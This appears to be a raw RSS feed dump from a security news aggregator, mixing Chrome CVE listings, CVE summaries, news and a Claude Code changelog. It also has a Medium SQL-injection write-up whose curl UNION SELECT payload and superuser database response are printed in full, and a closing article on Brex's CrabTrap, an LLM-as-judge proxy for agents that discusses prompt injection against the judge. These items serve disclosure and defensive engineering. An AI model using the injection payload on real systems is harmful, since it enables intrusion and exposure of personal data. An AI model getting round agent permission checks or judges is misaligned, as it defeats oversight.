    [$TBD] [495456765] Medium CVE-2026-13861 Use after free in Core  on  2026-03-23 

    [$TBD] [492410546] Medium CVE-2026-14383 Inappropriate implementation in V8  on  2026-03-13 

    [$TBD] [491894115] High CVE-2026-13796 Integer overflow in Chromecast  on  2026-03-11 

    [$1000.0] [488762971] Low CVE-2026-14030 Incorrect security UI in SplitView  on  2026-03-01 

    [$5000.0] [479203484] Medium CVE-2026-13857 Inappropriate implementation in Geometry Reported by [Luan Herrera (@lbherrera_)] on  2026-01-27 

    [$10000.0] [457771782] High CVE-2026-13790 Side-channel information leakage in Scroll Reported by [] on  2025-11-04 

    [$1000.0] [417052041] Medium CVE-2026-13860 Incorrect security UI in Autofill  on  2025-05-11 

    [$500.0] [527385397] High CVE-2026-15132 Uninitialized Use in V8  on  2026-06-24 

    [$500.0] [527406824] High CVE-2026-15133 Use after free in InterestGroups  on  2026-06-24 

    [$TBD] [526542464] Medium CVE-2026-15131 Insufficient data validation in Navigation  on  2026-06-22 

    [$TBD] [526541544] High CVE-2026-15130 Insufficient policy enforcement in Navigation  on  2026-06-22 

    [$TBD] [524045160] Critical CVE-2026-15129 Use after free in Views  on  2026-06-14 

    [$TBD] [523756329] High CVE-2026-15128 Inappropriate implementation in Forms  on  2026-06-13 

    [$TBD] [523752265] High CVE-2026-15127 Inappropriate implementation in WebGL  on  2026-06-13 

    [$TBD] [523748081] High CVE-2026-15126 Use after free in Forms  on  2026-06-13 

    [$TBD] [523737685] High CVE-2026-15125 Inappropriate implementation in Forms  on  2026-06-13 

    [$TBD] [523735038] High CVE-2026-15124 Insufficient policy enforcement in Passwords  on  2026-06-13 

    [$TBD] [523729553] High CVE-2026-15123 Insufficient data validation in DOM  on  2026-06-13 

    [$TBD] [523712556] High CVE-2026-15121 Use after free in WebRTC  on  2026-06-13 

    [$TBD] [523505418] High CVE-2026-15119 Inappropriate implementation in GetUserMedia  on  2026-06-12 

    [$TBD] [523238265] High CVE-2026-15118 Use after free in Input  on  2026-06-12 

    [$TBD] [522568496] High CVE-2026-15117 Use after free in Payments  on  2026-06-10 

    [$TBD] [522092013] High CVE-2026-15116 Use after free in Actor  on  2026-06-09 

    [$TBD] [520565945] High CVE-2026-15114 Out of bounds read and write in Codecs  on  2026-06-05 

    [$TBD] [518006275] Critical CVE-2026-15112 Use after free in Ozone  on  2026-05-29 

    [$TBD] [517508651] High CVE-2026-15111 Use after free in Views  on  2026-05-28 

    [$TBD] [516899138] High CVE-2026-15109 Uninitialized Use in ANGLE  on  2026-05-26 

    [$TBD] [515443146] High CVE-2026-15108 Integer overflow in Extensions API  on  2026-05-21 

    [$2000.0] [503553615] Medium CVE-2026-15107 Use after free in IndexedDB  on  2026-04-17 

    [$TBD] [532929679] High CVE-2026-15777 Use after free in UI  on  2026-07-09 

    [$TBD] [532595489] High CVE-2026-15776 Type Confusion in V8  on  2026-07-08 

    [$TBD] [531319201] High CVE-2026-15775 Insufficient policy enforcement in V8  on  2026-07-05 

    [$TBD] [530646115] High CVE-2026-15774 Use after free in Skia  on  2026-07-03 

    [$TBD] [525317502] High CVE-2026-15772 Use after free in GPU on Android via GLTextureHolder::ReadbackToMemory  on  2026-06-18 

    [$TBD] [524792614] High CVE-2026-15770 Uninitialized Use in V8  on  2026-06-17 

    [$TBD] [519731111] High CVE-2026-15769 Insufficient validation of untrusted input in Linux Toolkit Theming  on  2026-06-03 

    [$TBD] [518007484] Critical CVE-2026-15765 Use after free in Ozone  on  2026-05-29 

    [$TBD] [517931625] High CVE-2026-15768 Insufficient policy enforcement in HTML-in-Canvas  on  2026-05-29 

    [$TBD] [517100492] Critical CVE-2026-15764 Use after free in Ozone  on  2026-05-27 

    [$TBD] [514748734] High CVE-2026-15767 Heap buffer overflow in libyuv  on  2026-05-19 

    [$TBD] [514010477] High CVE-2026-15766 Uninitialized Use in Skia  on  2026-05-17 

    [$TBD] [513795122] Medium CVE-2026-15778 Insufficient validation of untrusted input in Navigation  on  2026-05-16 


    ]]>         <![CDATA[CVE-2026-16203 | SourceCodester Class and Exam Timetabling System 1.0 /forCYS.php course cross site scripting (EUVD-2026-45414)]]> https://tsecurity.de/de/3678813/sicherheitsluecken/cve-2026-16203-sourcecodester-class-and-exam-timetabling-system-10-forcysphp-course-cross-site-scripting-euvd-2026-45414/ https://tsecurity.de/de/3678813/sicherheitsluecken/cve-2026-16203-sourcecodester-class-and-exam-timetabling-system-10-forcysphp-course-cross-site-scripting-euvd-2026-45414/ Sun, 19 Jul 2026 05:23:55 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic, was found in SourceCodester Class and Exam Timetabling System 1.0. Affected by this issue is some unknown functionality of the file /forCYS.php. Such manipulation of the argument course leads to cross site scripting. This vulnerability is listed as CVE-2026-16203. The attack may be performed from remote. In addition, an exploit is available.]]> <![CDATA[CVE-2026-16202 | SourceCodester Class and Exam Timetabling System 1.0 /CYS.php course cross site scripting (EUVD-2026-45413)]]> https://tsecurity.de/de/3678808/sicherheitsluecken/cve-2026-16202-sourcecodester-class-and-exam-timetabling-system-10-cysphp-course-cross-site-scripting-euvd-2026-45413/ https://tsecurity.de/de/3678808/sicherheitsluecken/cve-2026-16202-sourcecodester-class-and-exam-timetabling-system-10-cysphp-course-cross-site-scripting-euvd-2026-45413/ Sun, 19 Jul 2026 05:23:48 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic, has been found in SourceCodester Class and Exam Timetabling System 1.0. Affected by this vulnerability is an unknown functionality of the file /CYS.php. This manipulation of the argument course causes cross site scripting. This vulnerability is tracked as CVE-2026-16202. The attack is possible to be carried out remotely. Moreover, an exploit is present.]]> <![CDATA[OpenAI Acknowledges GPT-5.6 May Accidentally Delete Files, Calls It 'Honest Mistake']]> https://tsecurity.de/de/3678730/it-security-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake/ https://tsecurity.de/de/3678730/it-security-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake/ Sun, 19 Jul 2026 03:52:49 +0200 📰 IT Security Nachrichten tsecurity.de

    Read more of this story at Slashdot.

    ]]>         <![CDATA[How Network Rail Plans Train Timetables (emf2026)]]> https://tsecurity.de/de/3678656/it-security-video/how-network-rail-plans-train-timetables-emf2026/ https://tsecurity.de/de/3678656/it-security-video/how-network-rail-plans-train-timetables-emf2026/ Sun, 19 Jul 2026 02:16:53 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[How Network Rail Plans Train Timetables (emf2026)]]> https://tsecurity.de/de/3678615/it-security-video/how-network-rail-plans-train-timetables-emf2026/ https://tsecurity.de/de/3678615/it-security-video/how-network-rail-plans-train-timetables-emf2026/ Sun, 19 Jul 2026 01:31:44 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[A short history of arcades and arcade machines (emf2026)]]> https://tsecurity.de/de/3678578/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/ https://tsecurity.de/de/3678578/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/ Sun, 19 Jul 2026 00:47:56 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[A short history of arcades and arcade machines (emf2026)]]> https://tsecurity.de/de/3678571/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/ https://tsecurity.de/de/3678571/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/ Sun, 19 Jul 2026 00:32:39 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[CVE-2022-3647 | Redis up to 6.2.7/7.0.5 Crash Report debug.c sigsegvHandler denial of service (EUVD-2022-43006 / Nessus ID 239773)]]> https://tsecurity.de/de/3678267/sicherheitsluecken/cve-2022-3647-redis-up-to-627705-crash-report-debugc-sigsegvhandler-denial-of-service-euvd-2022-43006-nessus-id-239773/ https://tsecurity.de/de/3678267/sicherheitsluecken/cve-2022-3647-redis-up-to-627705-crash-report-debugc-sigsegvhandler-denial-of-service-euvd-2022-43006-nessus-id-239773/ Sat, 18 Jul 2026 18:42:17 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic, has been found in Redis up to 6.2.7/7.0.5. This affects the function sigsegvHandler of the file debug.c of the component Crash Report. The manipulation leads to denial of service. This vulnerability is documented as CVE-2022-3647. The attack requires being on the local network. There is not any exploit available. The actual existence of this vulnerability is currently in question. It is suggested to install a patch to address this issue. The vendor claims that this is not a DoS because it applies to the crash logging mechanism which is triggered after a crash has occurred.]]> <![CDATA[Apple bumps up the cost of iCloud+ in 8 countries]]> https://tsecurity.de/de/3677979/ios-mac-os/apple-bumps-up-the-cost-of-icloud-in-8-countries/ https://tsecurity.de/de/3677979/ios-mac-os/apple-bumps-up-the-cost-of-icloud-in-8-countries/ Sat, 18 Jul 2026 14:23:52 +0200 🍏 iOS / Mac OS tsecurity.de iCloud+ rising in cost in a number of territories.

    Blue cloud icon overlaying a close-up of U.S. dollar bills, suggesting cloud computing, online finance, or digital money storage on a white background
    iCloud+ now costs more money in some countries.

    Over the course of a few days, Apple has been increasing the prices of its various online services. Not to be left behind, iCloud+ has now upped its prices to join the rest of the roster.

    The change, revealed by Apple's iCloud+ pricing support page, doesn't outright say what countries are affected by the pricing. However, comparisons with previous pricing, including via the Wayback Machine, shows it affects eight countries in total.


    Continue Reading on AppleInsider | Discuss on our Forums]]>         <![CDATA[Abzocke Sofortrente 🧐💰❌]]> https://tsecurity.de/de/3677912/videos/abzocke-sofortrente/ https://tsecurity.de/de/3677912/videos/abzocke-sofortrente/ Sat, 18 Jul 2026 13:32:23 +0200 đŸŽ„ Videos tsecurity.de Author: WBS LEGAL - Bewertung: 25x - Views:813

    Hast du oder deine Verwandten mal eine Sofortrente abgeschlossen? Wir erklĂ€ren dir, warum das meist eine absolute Abzocke ist - und wie du dein Geld evtl. sogar zurĂŒckholen kannst â˜đŸŒđŸ’¶

    FĂŒr mehr Infos zu dem Thema, schaue Dir jetzt das ganze Video auf unserem YouTube-Kanal an oder gehe direkt auf unsere Seite đŸ‘‰đŸŒ wbs.law/rente 🔗

    #sofortrente #wbslegal #recht2go #rechtstipps #fĂŒrdich

    ]]>         <![CDATA[eCPPTv3 Review]]> https://tsecurity.de/de/3677786/hacking/ecpptv3-review/ https://tsecurity.de/de/3677786/hacking/ecpptv3-review/ Sat, 18 Jul 2026 11:39:20 +0200 đŸ•”ïž Hacking tsecurity.de Almost a year ago, I took the INE’s “eCPPTv3” exam, and here is my honest review

    Why eCPPT?
    A year ago (May 29) I’ve bought the bundle which included 3 months of premium subscription and 2 exam attempts, thankfully a single attempt was enough for me. Back then I wasn’t really familiar with HackTheBox, so I chose eCPPT. Now, comparing the eCPPT and CPTS exams and paths, I’d advise you to choose CPTS instead.

    Path:
    The path is enough to pass the exam I believe, and there is even some extra material included in the path, like the C2 module. By the way, if you have finished eJPT/eWPT, some modules (very few) might be repeated in the eCPPTv3 path. Then, there are some modules that you don’t get in the exam, e.g. the macros development part. One thing I liked a lot about the path was that most of the material is videos, and labs/skill assessments are included as well, as I am both visual and practical learner I just loved most of the path.

    • Tip: All of the techniques you will encounter in the exam were explained in the course itself, nothing out of it — whether it’s priv.esc, brute-force, or lateral movement.
    Preview

    Preparation:
    Unlike HTB, here you can start the exam any time you want, you are not required to finish the path 100% before you start the exam, which I believe is actually a huge advantage (not always though). Before you start the exam, I’d advise you to finish the following modules and be comfortable with solving the labs and CTF challenges at the end of them:

    • PowerShell for Pentesters
    • Web Application Penetration Testing
    • Network Penetration Testing
    • Privilege Escalation (get really comfortable with this one)
    • Active Directory Penetration Testing

    Then, one more hint I’d give is to get extremely comfortable with brute-forcing and lateral-movement. Be patient, and don’t break under pressure — the exam is only 24 hours and expect brute forces take anywhere from seconds to 2 hours, like for real, don’t rush — sometimes you might wait 30 minutes for your brute-force to finish, and since there is such limited time, it can get heavy mentally — be ready for it, don’t panic.

    Exam:
    This exam was no joke — brute-force, lateral movement, AD systems, privilege escalation, web, and it keeps testing you until you get to the passing point. Since I was taking this exam a year ago, there was a problem with WinRM, which I fixed using this reddit post:
    https://www.reddit.com/r/eLearnSecurity/comments/1hpsfo2/ecppt_exam_evilwinrm_workaround/. Furthermore, make sure you have organized notes on techniques and commands, tools, etc. that you covered in the course, especially from the AD, LM, PowerShell, and PrivEsc modules. One huge thing the eCPPTv3 lacks is the report — it’s “competitors” — OSCP, CPTS both require you to write a professional grade report, whereas in eCPPTv3 the report was for some reason removed.

    One word of advise:
    If you are wondering should you take eCPPT over CPTS, I would not advise you to take CPTS over eCPPT. Why? Because I believe that CPTS’ path is more modern when it comes to exploitation, and more hands-on, and, I believe that it’s harder than eCPPT as well, and finally CPTS costs a bit less and one huge W for HTB is that they’ve got a student subscription, which, unfortunately INE does not — but remember that CPTS and eCPPT exams differ a bit, in eCPPT all you got is 24 hours of intentse hacking with no report, while in CPTS it’s 10 days.

    eCPPTv3 Certified

    eCPPTv3 Review was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[From SQL Injection to Infrastructure-Level RCE: A PostgreSQL Superuser Compromise]]> https://tsecurity.de/de/3677781/hacking/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise/ https://tsecurity.de/de/3677781/hacking/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise/ Sat, 18 Jul 2026 11:39:13 +0200 đŸ•”ïž Hacking tsecurity.de Imagine finding a backdoor that gives you absolute superuser access to a state infrastructure network, documenting the exploit chain perfectly, and submitting it—only to be met with total bureaucratic silence.

    While auditing a financial management web portal (vsswb), I discovered a single unparameterized parameter that ultimately resulted in unauthenticated Remote Code Execution (RCE). This is the technical walkthrough of the exploit chain.

    1. The Entry Point

    The vulnerable endpoint was responsible for processing the pJobNumber parameter.

    vss00CvStatusData.php

    Appending a single quote (') immediately triggered a raw PostgreSQL error:

    pg_query(): Query failed: ERROR: unterminated quoted string at or near "## order by wcs.fdate ;"

    Observation

    User-controlled input was being directly concatenated into a SQL statement without parameterization.

    2. Fingerprinting the Database

    Using UNION SELECT with NULL placeholders to align the three-column query structure, I extracted the PostgreSQL version and execution context.

    curl -k -s "https://[TARGET_URL]/vsswb/vss00CvStatusData.php?pAction=LoadTypeCombo&pJobNumber=nonexistent'+UNION+SELECT+NULL,version(),current_user--&pSelection=1"

    Response:

    [
      {
        "wbid": null,
        "job": "PostgreSQL 13.1, compiled by Visual C++ build 1914, 64-bit",
        "wodetails": "postgres"
      }
    ]

    Finding

    The web application connected directly as the native PostgreSQL postgres account.

    This is the database superuser, effectively eliminating privilege boundaries.

    3. Mass Data Exposure

    With superuser privileges, PostgreSQL system catalogs became fully accessible.

    Enumeration quickly revealed employee records stored in:

    public.vss01tpemployee

    The table contained personally identifiable information (PII), including employee names, PAN numbers, and financial records.

    From SQL Injection to Infrastructure-Level RCE: A PostgreSQL Superuser Compromise was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[OpenSSL DoS Flaw Lets Unauthenticated Attackers Trigger Massive Memory Allocation]]> https://tsecurity.de/de/3677506/it-security-nachrichten/openssl-dos-flaw-lets-unauthenticated-attackers-trigger-massive-memory-allocation/ https://tsecurity.de/de/3677506/it-security-nachrichten/openssl-dos-flaw-lets-unauthenticated-attackers-trigger-massive-memory-allocation/ Sat, 18 Jul 2026 07:53:07 +0200 📰 IT Security Nachrichten tsecurity.de A newly disclosed critical weakness in OpenSSL lets an attacker crash a server without ever completing a handshake or proving their identity. Documented by the Okta Red Team, named “HollowByte,” the flaw takes advantage of how OpenSSL reserves memory during the earliest stage of a TLS connection, allowing a payload of just 11 bytes to [
]

    The post OpenSSL DoS Flaw Lets Unauthenticated Attackers Trigger Massive Memory Allocation appeared first on Cyber Security News.

    ]]>         <![CDATA[v2.1.214]]> https://tsecurity.de/de/3677323/downloads/v21214/ https://tsecurity.de/de/3677323/downloads/v21214/ Sat, 18 Jul 2026 03:46:25 +0200 đŸ’Ÿ Downloads tsecurity.de What's changed
    • Fixed single-segment dir/** allow rules like Edit(src/**) auto-approving writes to nested dir/ directories anywhere in the tree instead of only <cwd>/dir
    • Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions
    • Fixed Bash permission checks to fail closed on file-descriptor redirect forms that bash parses differently than the permission analyzer
    • Fixed Bash permission checks misjudging very long commands — commands over 10,000 characters now always prompt instead of running automatically
    • Fixed Bash permission checks treating zsh variable subscripts and modifiers in [[ ]] comparisons as inert text — these commands now prompt for approval
    • Fixed Bash permission checks to no longer auto-approve certain help and man commands that could run unsafe options, command substitutions, or backslash paths
    • Fixed permission prompts on remote sessions that could proceed before the local confirmation dialog
    • Added the EndConversation tool: Claude can end sessions with highly abusive users or jailbreak attempts, as on claude.ai since 2025 — see https://www.anthropic.com/research/end-subset-conversations
    • Added a periodic progress heartbeat for long-running tool calls that previously went silent
    • Added an ISO modified timestamp to memory file frontmatter
    • Added message.uuid, client_request_id, and tool_source attributes to OpenTelemetry log events for message-level correlation and tool provenance
    • Added CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH to configure the 60 KB truncation limit on OpenTelemetry content attributes
    • Added reasoning effort to the subagentStatusLine payload, so custom agent rows can render model and effort
    • Added permission prompts for docker commands (including the Podman docker shim) carrying daemon-redirect flags (--url, --connection, --identity, and Podman's remote mode) that previously ran without one
    • Fixed a crash when a GrowthBook feature evaluates to null, and a bug where a malformed flag payload could wipe the cached feature flags
    • Fixed Bash tool killing the Claude session when a pkill -f pattern accidentally matched the CLI's own process (Linux)
    • Fixed unbounded memory growth when --settings points at a device file or multi-GB file; oversized (>2 MiB) settings files now fail at startup with a clear error
    • Fixed streaming turns failing with "Socket is closed" behind corporate proxies on Windows
    • Fixed stream-json output truncation at exit for slow-reading SDK/pipeline consumers; the exit drain now scales with queued bytes instead of a flat 2s cap
    • Fixed scheduled tasks refusing their own configured prompt as untrusted input — the fired prompt is now delivered as the session's assigned task
    • Fixed PowerShell tool commands hanging until timeout when a child process waited on standard input (Windows)
    • Fixed Python scripts under the PowerShell tool crashing with UnicodeDecodeError when reading non-UTF-8 data from standard input (Windows)
    • Fixed Python scripts run via the PowerShell tool crashing with UnicodeEncodeError on non-ASCII output, and PowerShell 7 error messages containing raw ANSI escape sequences (Windows)
    • Fixed the PowerShell tool reporting where.exe, fc.exe, and diff.exe as errors when they return a valid negative answer (Windows)
    • Fixed > and >> under the PowerShell tool on Windows PowerShell 5.1 writing UTF-16LE files that other tools couldn't read as UTF-8
    • Fixed a displaced background daemon deleting its successor's control socket on shutdown, which made the next client kill the healthy replacement daemon
    • Fixed background sessions parked with ← or /background and left idle keeping the background daemon and a worker process alive indefinitely
    • Fixed completed background sessions being impossible to remove via claude rm or the agent view once the background service had gone idle
    • Fixed background sessions dispatched from a non-git folder being impossible to delete from the agents view
    • Fixed reopening a stopped background session failing to restore its saved conversation when an unreadable folder exists in the session store
    • Fixed the Remote Control "session ready" push notification firing for sessions where Remote Control was not explicitly enabled
    • Fixed /install-github-app and the /mcp settings menu being blocked in agent-view sessions — they're now refused only in background sessions with no terminal attached
    • Fixed plugins enabled via the --settings CLI flag not loading (regression since v2.1.181)
    • Fixed feature flags going stale in long-running sessions after the OAuth token rotates
    • Fixed /ultrareview refusing to run in repos with no merge base — it now offers to review all tracked files
    • Fixed claude update and claude doctor hanging silently, and the /status System diagnostics section going blank, when a shell-config path is a directory
    • Fixed memory frontmatter values being silently truncated at an inline # when memory files are saved
    • Fixed session cost and token telemetry double-counting on streams that emit multiple cumulative message_delta frames
    • Fixed a spurious "check your network" warning that appeared while the advisor was thinking
    • Fixed hooks with exit code 2 not blocking as documented when the hook's stdout JSON fails schema validation
    • Fixed OTel log events emitted outside the turn's async context missing the interaction span's trace context
    • Fixed MCP transient errors during prompts/resources refresh clearing the server's slash commands and resources
    • Improved the claude rc workspace-trust error in the home directory to say trust there is never saved and to suggest running from a project directory
    • Changed single-segment dir/** hook if: conditions to match only <cwd>/dir; write **/dir/** for any-depth matching. deny/ask permission rules keep their any-depth match.
    • Changed file commands using -m/--magic-file or -f/--files-from to require permission instead of being auto-allowed as read-only
    • Changed keep-alive connection pooling to disable after a stale-connection error, so retries open a fresh socket
    • Changed SessionStart hooks to report source "fork" when a session begins as a fork instead of "resume"
    ]]>         <![CDATA[Windows Package Manager 1.30.50-preview]]> https://tsecurity.de/de/3677248/downloads/windows-package-manager-13050-preview/ https://tsecurity.de/de/3677248/downloads/windows-package-manager-13050-preview/ Sat, 18 Jul 2026 01:46:33 +0200 đŸ’Ÿ Downloads tsecurity.de This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.

    New in v1.30

    Nothing yet.

    Bug Fixes

    • Fixed a crash (0x8000ffff) when using --disable-interactivity with the Resume experimental feature enabled during install operations.

    What's Changed

    New Contributors

    Full Changelog: v1.29.240...v1.30.50-preview

    ]]>         <![CDATA[OpenSSL “HollowByte” Vulnerability Lets Hackers Crash Servers With Just 11 Bytes]]> https://tsecurity.de/de/3676944/it-security-nachrichten/openssl-hollowbyte-vulnerability-lets-hackers-crash-servers-with-just-11-bytes/ https://tsecurity.de/de/3676944/it-security-nachrichten/openssl-hollowbyte-vulnerability-lets-hackers-crash-servers-with-just-11-bytes/ Fri, 17 Jul 2026 22:08:36 +0200 📰 IT Security Nachrichten tsecurity.de A newly disclosed vulnerability in OpenSSL, dubbed “HollowByte,” allows a remote, unauthenticated attacker to trigger a denial-of-service (DoS) condition using a malicious payload as small as 11 bytes. Discovered by the Okta Red Team, the flaw exploits how OpenSSL pre-allocates


    Read more →

    The post OpenSSL “HollowByte” Vulnerability Lets Hackers Crash Servers With Just 11 Bytes appeared first on IT Security News.

    ]]>         <![CDATA[Brex built its AI agent policy by watching what agents actually do, not by writing rules first]]> https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/ https://tsecurity.de/de/3676907/it-nachrichten/brex-built-its-ai-agent-policy-by-watching-what-agents-actually-do-not-by-writing-rules-first/ Fri, 17 Jul 2026 21:32:56 +0200 📰 IT Nachrichten tsecurity.de OpenClaw has become one of the most widely adopted agentic frameworks, but it has yet to prove itself at enterprise scale. Agents need real credentials — API keys, OAuth tokens, service accounts — to work effectively, and Brex found that traditional guardrails couldn't contain what those agents were doing with them.

    Brex set out to overcome these limitations by building an internal platform it calls CrabTrap. The open-source HTTP/HTTPS proxy intercepts all network traffic, examines policy rules, and uses a LLM-as-a-judge to decide whether agent requests should be approved or denied. 

    “What we noticed was that the network layer was an untapped enforcement point,” Brex co-founder and CEO Pedro Franceschi told VentureBeat. “Every request an agent makes is an opportunity to intercept, reason about, and make a policy decision.”

    The takeaway Franceschi wants IT leaders to draw: agent governance should shift from SDK-level permissions and model guardrails toward a centralized network control plane that enforces and learns from real in-the-wild agent behavior.

    How Brex targeted the transport layer

    The “obvious fix” (at least initially) to the agent security gap was guardrails, and much of the early work has centered on scoped tools, per-action permissions, and human-in-the-loop approvals. But as agents evolve, each new capability means there’s another API to tune or surface to audit, Franceschi noted. 

    “Any agentic system with multiple tools and access to the open internet creates an immediate tension for builders: The more capable you make an agent, the more dangerous it becomes, and the safer you make it, the less useful it is,” he said. 

    Existing solutions to this tradeoff were “weak”: Fine-grained API tokens help at the margins but can still be misused and constrain functionality. Semantic guardrails (such as context, skills, or prompt steering) are easily bypassed by prompt injection, especially for agents connected to the internet.

    Agents can be “defanged” when given read-only access or limited toolsets, but then they can't do meaningful work, Franceschi said. On the other hand, granting broad write access and a large tool surface can result in hallucinations and real production consequences.

    Model context protocol (MCP) gateways enforce policy at the protocol layer — but only for traffic using MCP. Meanwhile, guardrails from LLM providers are tied to a single model and can be “opaque” to customize with enterprise-specific policies. And powerful tools like Nvidia OpenShell offer more of a “per-sandbox egress control.”

    “When we started, we hadn’t found a solution to deploying harnesses like OpenClaw safely,” Franceschi said. “Instead of waiting for the industry to catch up, we decided to own the problem and invent the necessary tools.”

    Notably, they needed a platform that sat between every agent and every network request, and could make “nuanced decisions about what to allow,” he said. 

    This made the transport layer a core architectural component and natural starting point, he said. 

    By operating at this layer, CrabTrap is framework-agnostic, language-agnostic, and API-agnostic. It doesn't require SDK wrappers or per-tool integration. Users set HTTP_PROXY and HTTPS_PROXY in the agent's environment, and every outbound request routes through the proxy before it reaches a destination.

    However, Franceschi emphasized, Brex didn't start at the transport layer because it thought it was the only answer; rather, they believe in “security by layers.”

    “The transport layer was simply an underinvested one, and we saw an opportunity to add meaningful enforcement there alongside everything else,” he said. 

    The LLM-as-a-judge training loop

    CrabTrap combines deterministic static rules with an LLM-as-a-judge for requests that fall outside known patterns, Franceschi explained. The judge only “fires on the long tail of unfamiliar endpoints or unusual request shapes,” which for a mature agent is typically fewer than 3% of requests.

    The more pressing problem was how to know that a policy is the right one? With static rules, it's “relatively straightforward” to reason about accuracy. But with an LLM judge, the system is nondeterministic, and users need confidence that the policy approves the right requests and blocks the rest.

    “Our key insight was to bootstrap policy from observed behavior rather than write it from scratch,” Franceschi said. Beginning with real behavior and editing down based on real-world learnings turned out to be “dramatically more effective than starting from a blank page.”

    Brex’s team built a policy builder (itself an agentic loop) that runs underlying agents in shadow mode, analyzes historic network traffic, samples representative calls, and drafts a natural-language policy that matches what the agent actually does. 

    From there, they built an eval system that tests policy changes before they go live. CrabTrap compares historical audit entries against a draft policy and reports the exact changes to be made. Users can slice results by method, URL, original decision, and agreement status. 

    All of this runs with concurrent judge calls, so replaying thousands of requests “takes minutes, not hours,” Franceschi said. Brex also developed a live feedback loop: Full audit trails are stored in PostgreSQL and queryable through the admin API and dashboard. In cases where a resource is continuously denied, the system can notify a human or an agent to propose a policy update for review. 

    “That closes the loop between observed denials and policy refinement,” Franceschi said. 

    Core challenges and roadblocks 

    Of course, the build wasn’t without its challenges. A big one was latency: “Putting an LLM between an agent and every outbound API request sounds like it would grind things to a halt,” he said. 

    However, it didn’t turn out to be as big a problem as expected. This was for two reasons: The LLM judge only activates on a small fraction of requests (the aforementioned 3%). Agents quickly settle into predictable traffic patterns; once observed, high-volume patterns become static rules. Second, by using small, fast models like Claude Haiku meant that, even when the judge did fire, added latency was “negligible.” This can be further reduced with local models and prompt caching, Franceschi said.

    The harder and less obvious challenge was prompt injection, he said. The judge receives the full HTTP request and all content is user-controlled, so potentially, a crafted URL, header, or request body could manipulate the judge's decision. 

    Brex addressed this by structuring the request as a JSON object before sending it to the model, so all user-controlled content is “escaped rather than interpolated as raw text,” Franceschi said. 

    Results, and where CrabTrap might evolve

    Brex tracks a few factors to measure CrabTrap’s internal impact: Engagement with agents, network traffic patterns, and net promoter scores (NPS). The most meaningful result of CrabTrap has been “organizational confidence,” Franceschi said. 

    Previously, the team had “real hesitation” when it came to deploying autonomous agents broadly across business operations, because the existing guardrail options didn't provide enough assurance. 

    “CrabTrap changed that calculus,” Franceschi said. They now have an enforcement layer they trust, increasing confidence around expanding agent deployment into more parts of the business and delegating more agent configuration and management to users. 

    Franceschi described the policies derived from traffic as “surprisingly strong.” The team expected the policy builder to produce a “rough starting point” requiring heavy manual editing. In practice, though, pointing the platform at a few days of real traffic produced policies that matched human judgment on the “vast majority of held-out requests.”

    Additionally, CrabTrap revealed how much noise agents generate. “The audit trail made this visible for the first time,” Franceschi said. They used denial logs and traffic analysis not only to tune policies, but to tighten agents themselves, remove tools, and cut out entire categories of requests that were wasting both time and tokens.

    “The proxy became a discovery tool, not just an enforcement one,” he said. 

    Areas for growth (and input from the open-source community)

    Brex anticipates CrabTrap to continue to evolve, particularly as they have released it as open-source. “We hope the community helps shape it,” Franceschi said. 

    Areas of improvement include deeper authentication functionality such as single-sign on (SSO), fine-grained role-based access control (RBAC); escalation workflows that allow agents to request additional permissions; and policy recommendations based on denial patterns.

    Programmatic configuration, or developing API endpoints for “creating, forking, and applying” policies to agents, could allow the whole policy lifecycle to be automated rather than managed manually, Franceschi said. 

    As for escalation, if an agent is continuously denied a given resource or endpoint, it should be able to route requests to humans or other AI agents for review and back that up with a rationale for why it needs access. 

    “That turns CrabTrap from a hard enforcement boundary into something more like a managed permission system,” Franceschi said. 

    Additionally, the policy was built to bootstrap from network traffic, but there is opportunity to incorporate additional signals around agent traces and resource-calling, as well as broader context on what agents are ultimately trying to accomplish. This can help produce more accurate and nuanced policies. 

    Finally, there's an “open philosophical question” about the right posture for CrabTrap: Should it be a fully transparent layer that the agent itself is unaware of, or should it operate more like a “well-intentioned manager”? (that is, the agent knows about the layer and can interact with it).

    The open-source community can help shape these developments, and CrabTrap will only get better with more users, Franceschi said. Brex’s agents speak to a specific set of APIs; teams using CrabTrap with different agents, services, and policy requirements will surface “edge cases and patterns we can't hit alone.”

    “We have ambitious plans for where it could go, and we’d rather build in the open,” Franceschi said. 

    What other builders can learn from CrabTrap

    The response has been stronger than expected. CrabTrap has more than 700 stars on GitHub. Franceschi said Brex has also heard from OpenAI, Y Combinator CEO Garry Tan, and programmer Pete Steinberger, all expressing interest in deploying similar internal infrastructure.

    The broader lesson: “Don't let infrastructure gaps become excuses to wait," Franceschi advised. There are “real blockers” for every enterprise looking to seriously deploy AI agents, including security concerns, lack of tooling, or unclear guardrails. 

    “It's tempting to sit on your hands until the industry catches up,” he said. “The lesson from CrabTrap is that you can own those problems directly.”

